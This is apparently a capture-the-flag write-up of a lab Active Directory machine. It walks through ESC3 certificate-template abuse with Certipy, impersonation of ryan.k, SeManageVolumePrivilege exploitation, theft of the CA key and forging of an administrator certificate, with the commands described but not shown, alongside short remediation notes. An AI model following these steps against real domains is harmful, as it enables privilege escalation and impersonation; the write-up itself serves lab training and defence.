In a company, employees get digital certificates—like special ID cards—that prove who they are and what they’re allowed to do. The ESC3 vulnerability happens when certain certificates allow users to request certificates on behalf of others. This means someone with access to these certificates can pretend to be another person, even someone with higher privileges like an admin.

Because of this, an attacker could use the vulnerability to gain unauthorized access to sensitive systems or data by impersonating trusted users. It’s like being able to get a fake ID that lets you enter restricted areas.

Fixing this involves limiting who can request these certificates and carefully controlling the permissions tied to them to prevent misuse.

Using lion.sk credentials, Certipy enumerated 35 certificate templates, one CA (Certificate-LTD-CA), 12 enabled templates, and 18 issuance policies. Initial CA config retrieval via RRP failed due to a remote registry issue but succeeded on retry. Web enrollment at DC01.certificate.htb timed out, preventing verification. Certipy saved results in text and JSON formats and suggests using -debug for stack traces. Next steps: review saved outputs and confirm DC01’s network/service availability before retrying.

Certipy flagged the template as ESC3 because it contains the Certificate Request Agent EKU — meaning principals allowed to enrol from this template (here CERTIFICATE.HTB\Domain CRA Managers, and Enterprise Admins listed) can request certificates on behalf of other accounts. In practice, that lets those principals obtain certificates that impersonate higher‑privilege users or services (for example ,issuing a cert for a machine or a user you don’t control), enabling AD CS abuse and potential domain escalation.

Request the certificate and save it as lion.sh.pfx.

Certificate Issued to Ryan.k

Sara.B is a member of Account Operators and has GenericAll permissions on the ryan.k account — in simple terms, Sara.B can fully control ryan.k (reset its password, change attributes, add/remove group membership, or replace credentials). This is high risk: if Sara.B is compromised or abused, an attacker can take over ryan.k and use it for lateral movement or privilege escalation. Recommended actions: limit membership in powerful groups, remove unnecessary GenericAll delegations, and monitor/account‑change audit logs.

Certipy requested a certificate via RPC (Request ID 22) and successfully obtained a certificate for UPN ryan.k@certificate.htb; the certificate object SID is S-1-5-21-515537669-4223687196-3249690583-1117 and the certificate with its private key was saved to ryan.k.pfx.

Unfortunately, the clock skew is too large.

When using the faketime command, it behaves as expected.

With explicit permission and in a controlled environment, verify whether the extracted hash can authenticate as ryan.k for investigative purposes.

Abusable Rights: SeManageVolumePrivilege

The following privileges are enabled: SeMachineAccountPrivilege — Add workstations to the domain; SeChangeNotifyPrivilege — Bypass traverse checking; SeManageVolumePrivilege — Perform volume maintenance tasks; SeIncreaseWorkingSetPrivilege — Increase a process’s working set.

Let’s create a temporary directory.

While executing the command, we encountered the error Keyset does not exist, indicating the required cryptographic key material is missing or inaccessible.

Therefore, we need to transfer the SeManageVolumeExploit.exe file to the target machine.

It refers to entries that have been modified.

I ran icacls on Windows, and it successfully processed 1 file with 0 failures.

Finally, it worked exactly as I expected.

We can now download the ca.pfx file to our local machine

Certificate Forgery for Domain Auth (Certipy)

We can convert the ca.pfx file into admin.pfx.

Authentication failed because the clock skew is too significant.

After switching to faketime, it worked like a charm.

Read the root flag by running the command: type root.txt.

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